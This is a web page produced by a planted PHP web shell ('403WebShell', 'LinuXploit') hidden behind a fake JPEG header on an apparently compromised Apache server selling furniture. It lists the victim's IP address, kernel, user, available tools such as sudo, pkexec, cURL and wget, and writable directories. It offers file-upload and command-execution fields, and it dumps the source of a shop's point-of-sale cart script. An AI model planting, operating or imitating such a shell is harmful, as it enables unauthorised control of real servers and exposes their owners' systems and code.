����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 52.15.242.179
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/addtocart-view.php

<?php
$cambiarprecio_val = ConfigurationData::getByPreffix("cambiarprecio_val")->val;



if(isset($_POST["q"]) && !is_numeric($_POST["q"])){
		Core::alert("Valor invalido!");
		Core::redir("./?view=sell");
}

if(isset($_POST["price"]) && !is_numeric($_POST["price"])){
		Core::alert("Valor invalido!");
		Core::redir("./?view=sell");
}
   
	 
   if (isset($_POST["product_id"])){
	   $list = listPriceData::getById($_POST["product_id"]); 
  }
  else{
	  $list = listPriceData::getById($_GET["product_id"]); 
	  echo "listas";
  }
  
  if(count($list)>0){
	
 
      if (isset($_POST["price"])){
		  
     if($list->price_min > $_POST["price"])
	 {	
      Core::alert("Precio Capturado menor a precio minimo!!!"); 
	  $_POST["price"] = $list->price_min;
	  Core::redir("./?view=sell");
     }
	
	}
   }
  else 
  {
	  
   if(isset($_GET["price"]))
    {  
	  if($_POST["price"]<$_POST["price_now"])
	 {
		Core::alert("Valor Precio Minimo de este producto no esta ingresado, Precio capturado menor a precio publico!!!(para ingresar un precio menor al publico, de de alta los precios alternos) ");
	    $_POST["price"] = $_POST["price_now"];  
		Core::redir("./?view=sell");
	 }
    }
	else
	{   
		if($_POST["price"]<$_POST["price_now"])
		{
			Core::alert("precios alternos no capturados, Vas a vender mas barato que el precio publico !!!");
		}
		 
		
	}
  }	
  
  
if(!isset($_SESSION["cart"])){
	  
    
	 
	 if(($cambiarprecio_val != "SI") && ($cambiarprecio_val != "si")){
		
		   $product = array("product_id"=>$_POST["product_id"],"q"=>$_POST["q"]);
	 }
	 else{	
	    	$product = array("product_id"=>$_POST["product_id"],"q"=>$_POST["q"],"price"=>$_POST["price"]);
			Core::alert("MODO PRECIOS ALTERNOS!!!");
	 
	 }
     	
      
	
	
	$_SESSION["cart"] = array($product);
	$cart = $_SESSION["cart"];
///////////////////////////////////////////////////////////////////
		$num_succ = 0;
		$process=false;
		$errors = array();
		foreach($cart as $c){
			///
			$q = OperationData::getQByStock($c["product_id"],StockData::getPrincipal()->id);
			$q2 = OperationData2::getQByStock($c["product_id"],StockData::getPrincipal()->id);
			$qt = $q+$q2;
//			echo ">>".$q;
			if($c["q"]<=$qt){
				$num_succ++;
			}else{
				$error = array("product_id"=>$c["product_id"],"message"=>"No hay suficiente cantidad de producto en inventario Error 1 .");
				$errors[count($errors)] = $error;
			}
		}
///////////////////////////////////////////////////////////////////

echo $num_succ;
if($num_succ==count($cart)){
	$process = true;
}
if($process==false){
	unset($_SESSION["cart"]);
$_SESSION["errors"] = $errors;
	?>	
<script>
	window.location="index.php?view=sell";
</script>
<?php
}


}else {
$found = false;
$cart = $_SESSION["cart"];
$index=0;
			 if (isset($_POST["product_id"])){
				$q = OperationData::getQByStock($_POST["product_id"],StockData::getPrincipal()->id);
				$q2 = OperationData2::getQByStock($_POST["product_id"],StockData::getPrincipal()->id);
				$qt = $q+$q2;
			 }
			 else{
				$q = OperationData::getQByStock($c["product_id"],StockData::getPrincipal()->id);
				$q2 = OperationData2::getQByStock($c["product_id"],StockData::getPrincipal()->id);
				$qt = $q+$q2;
			 }
			

$can = true;

if (isset($_POST["product_id"])){
	if($_POST["q"]<=$qt){
		}else{
		$error = array("product_id"=>$_POST["product_id"],"message"=>"No hay suficiente cantidad de producto en inventario error 2.");
		$errors[count($errors)] = $error;
		$can=false;
	}
}
else{
	if(1<=$qt){
		}else{
		$error = array("product_id"=>$_POST["product_id"],"message"=>"No hay suficiente cantidad de producto en inventario error 3.");
		$errors[count($errors)] = $error;
		$can=false;
	}
}


if($can==false){
$_SESSION["errors"] = $errors;
	?>	
<script>
	window.location="index.php?view=sell";
</script>
<?php
}
?>

<?php
if($can==true){
foreach($cart as $c){
	
	if (isset($_POST["product_id"])){
		if($c["product_id"]==$_POST["product_id"]){
		
		$found=true;
		break;
		}
	$index++;
		//	print_r($c);
		//	print "<br>";
	}
	else{
		if($c["product_id"]==$_GET["product_id"]){
		
		$found=true;
		break;
		}
	$index++;
		//	print_r($c);
		//	print "<br>";
	}
	
}

if($found==true){
	
		if (isset($_POST["product_id"])){
			$q1 = $cart[$index]["q"];
			$q2 = $_POST["q"];
			$cart[$index]["q"]=$q1+$q2;
			$_SESSION["cart"] = $cart;
		}
		else{
			$q1 = $cart[$index]["q"];
			$q2 = 1;
			$cart[$index]["q"]=$q1+$q2;
			$_SESSION["cart"] = $cart;
		}
	
	
}

if(isset($_GET["price"]))
    { 
		if($found==true){
		$price1 = $cart[$index]["price"];
		$cart[$index]["price"]=$price1;
		$_SESSION["cart"] = $cart;
		
        }
	}
if($found==false){
    $nc = count($cart);
	
		if (isset($_POST["product_id"])){
			if (isset($_POST["price"])){
				$product = array("product_id"=>$_POST["product_id"],"q"=>$_POST["q"],"price"=>$_POST["price"]);
			}else{
				$product = array("product_id"=>$_POST["product_id"],"q"=>$_POST["q"]);
			}
			
		}
		else{
			if(isset($_POST["price"])){
				$product = array("product_id"=>$_GET["product_id"],"q"=>1,"price"=>$_POST["price"]);
			}else{
		        $product = array("product_id"=>$_GET["product_id"],"q"=>1,"price"=>$_GET["priceFijo"]);
			}
			
		}
	
	$cart[$nc] = $product;

	$_SESSION["cart"] = $cart;
}

}
}
	print "<script>window.location='index.php?view=sell';</script>";
// unset($_SESSION["cart"]);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit